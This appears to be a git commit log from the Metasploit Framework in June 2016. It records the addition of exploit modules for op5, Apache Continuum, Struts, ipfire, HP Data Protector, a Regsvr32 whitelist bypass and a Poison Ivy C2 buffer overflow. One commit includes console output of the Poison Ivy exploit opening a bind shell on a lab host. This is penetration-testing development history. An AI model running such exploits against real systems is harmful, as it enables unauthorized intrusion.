9ea0b8f944
Land #6934 , Adds exploit for op5 configuration command execution
2016-06-16 14:36:10 -05:00
ea988eaa72
Add setsid to persist the shell
...
Prevents the watchdog from killing our session.
2016-06-16 11:31:35 -05:00
cfb034fa95
fixes all previously identified issues
2016-06-15 20:58:04 -04:00
baa603b637
wvu-r7 rex sleep suggestions
2016-06-15 20:41:25 -04:00
bca88d8443
Landing #6961 Regsvr32 SCT App Whitelist Bypass Server
...
by @kn0
rts
2016-06-15 15:28:02 -04:00
81fa068ef0
pulling out the get params
2016-06-15 12:27:31 -04:00
52db99bfae
vars_post for post request
2016-06-15 07:24:41 -04:00
625d60b52a
fix the other normalize_uri
2016-06-14 15:03:07 -04:00
afc942c680
fix travis
2016-06-13 19:07:14 -04:00
bd4dacdbc3
added Rank
2016-06-13 19:04:06 -04:00
72ed478b59
added exploit rank
2016-06-13 18:56:33 -04:00
40f7fd46f9
changes outlined by wvu-r7
2016-06-13 18:52:25 -04:00
563b8206c5
Land #6962 , Apache Continuum Exploit
2016-06-13 16:41:53 -05:00
3a39d8020d
Moving back to PSH option only
2016-06-13 12:44:21 -05:00
52bbd22a81
Moving back to PSH option only
2016-06-13 12:10:48 -05:00
f63273b172
email change
2016-06-11 21:05:34 -04:00
bd6eecf7b0
centreon useralias first add
2016-06-11 20:57:18 -04:00
8c7796c6d3
Module Cleanup
2016-06-11 18:12:42 -05:00
46eff4c96d
Added command option
2016-06-11 18:07:24 -05:00
ec1248d7af
Convert to CmdStager
2016-06-10 20:42:01 -05:00
6af3c4ab99
Added zero to Run method to prevent popup
2016-06-10 14:52:02 -05:00
46239d5b0d
Add Apache Continuum exploit
2016-06-09 22:35:38 -05:00
17974d74e2
Removing space at end of line
2016-06-09 21:49:24 -05:00
6cd1da414f
Regsvr32.exe Application Whitelist Bypass Server
2016-06-09 21:15:07 -05:00
d63dc5845e
wvu-r7 comment fixes
2016-06-09 21:52:21 -04:00
16b4829d57
fixed socket.get issue
2016-06-09 21:36:21 -04:00
63db330a02
rubocop fixes, msftidy fixes
2016-06-09 21:03:57 -04:00
027f538300
original from EDB
2016-06-09 20:35:00 -04:00
b0bf901b22
Land #6950 , avoid printing rhost:rport twice when using Msf::Exploit::Remote::SMB::Client
2016-06-09 16:35:09 -05:00
6da8c22171
Rename hash method to crypt
...
To avoid a conflict with Object#hash in Pro.
MS-1636
2016-06-09 15:21:40 -05:00
d470371694
fix the available size of payload for exploit/windows/local/payload_injection
2016-06-09 13:40:25 +09:00
7cdadca79b
Land #6945 , Add struts_dmi_rest_exec exploit
2016-06-08 23:16:46 -05:00
6f5edb08fe
pull uri from datastore consistently
2016-06-08 20:28:36 -04:00
52bcade72c
Fix #6948 , Modules using the SMB client are printing peer twice
...
Fix #6948
2016-06-08 12:16:50 -05:00
ab27c1b701
Merge pull request #6940 from samvartaka/master
...
Exploit for previously unknown stack buffer overflow in Poison Ivy versions 2.1.x (possibly present in older versions too)
2016-06-08 11:25:51 -05:00
5260031991
Modifications based on suggestions by @wchen-r7
2016-06-08 01:17:15 +02:00
c4aa99fdac
Land #6925 , ipfire proxy exec
2016-06-07 10:24:59 -05:00
7e84c808b2
Merge remote-tracking branch 'upstream/pr/6924' into dev
2016-06-07 09:24:25 -05:00
b59d10d9c4
Land #6929 , Add HP Data Protector Encrypted Comms exploit
2016-06-06 22:45:53 -05:00
60c60bf004
Minor cosmetic changes
2016-06-06 22:45:00 -05:00
e4c55f97db
Fix module desc
2016-06-06 10:40:36 -05:00
9f19d2c210
add apache struts2 S2-033 rce module
2016-06-06 05:07:48 -05:00
4354b5d5d6
Changed class from Metasploit3 to MetasploitModule
2016-06-03 17:43:41 -07:00
99790e343d
Removed debug statement
2016-06-03 17:36:00 -07:00
c2699ef194
rubocop fixes
2016-06-03 17:43:11 -04:00
2f837d5d60
fixed EDB spelling
2016-06-03 17:17:36 -04:00
8d76bdb8af
fixed EDB reference
2016-06-03 17:13:36 -04:00
d7cd10f586
Suggested updates for style and clarity
2016-06-03 14:04:58 -05:00
91658d2a61
Changes per rubocop and sinn3r
2016-06-03 12:42:38 -05:00
290e1eb0fa
This module exploits a previously unknown stack buffer overflow vulnerability
...
in Poison Ivy versions 2.1.x (possibly present in older versions too) and doesn't
require knowledge of the secret key as it abuses a flaw in the cryptographic protocol.
Note that this is a different vulnerability from the one affecting versions 2.2.0 and up
(https://www.rapid7.com/db/modules/exploit/windows/misc/poisonivy_bof ).
See http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware
for details.
## Console output
Below is an example of the exploit running against a 2.1.4 C2 server (PIVY C2 server password is
set to 'pivypass' and unknown to attacker).
### Version 2.1.4
```
msf > use windows/misc/poisonivy_21x_bof
msf exploit(poisonivy_21x_bof) > set RHOST 192.168.0.104
RHOST => 192.168.0.104
msf exploit(poisonivy_21x_bof) > check
[*] 192.168.0.104:3460 The target appears to be vulnerable.
msf exploit(poisonivy_21x_bof) > set PAYLOAD windows/shell_bind_tcp
PAYLOAD => windows/shell_bind_tcp
msf exploit(poisonivy_21x_bof) > exploit
[*] 192.168.0.104:3460 - Performing handshake...
[*] Started bind handler
[*] 192.168.0.104:3460 - Sending exploit...
[*] Command shell session 1 opened (192.168.0.102:56272 -> 192.168.0.104:4444) at 2016-06-03 12:34:02 -0400
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\winxp\Desktop\Poison Ivy\Poison Ivy 2.1.4\Poison Ivy 2.1.4>
```
2016-06-03 19:20:06 +02:00
Brendan Watters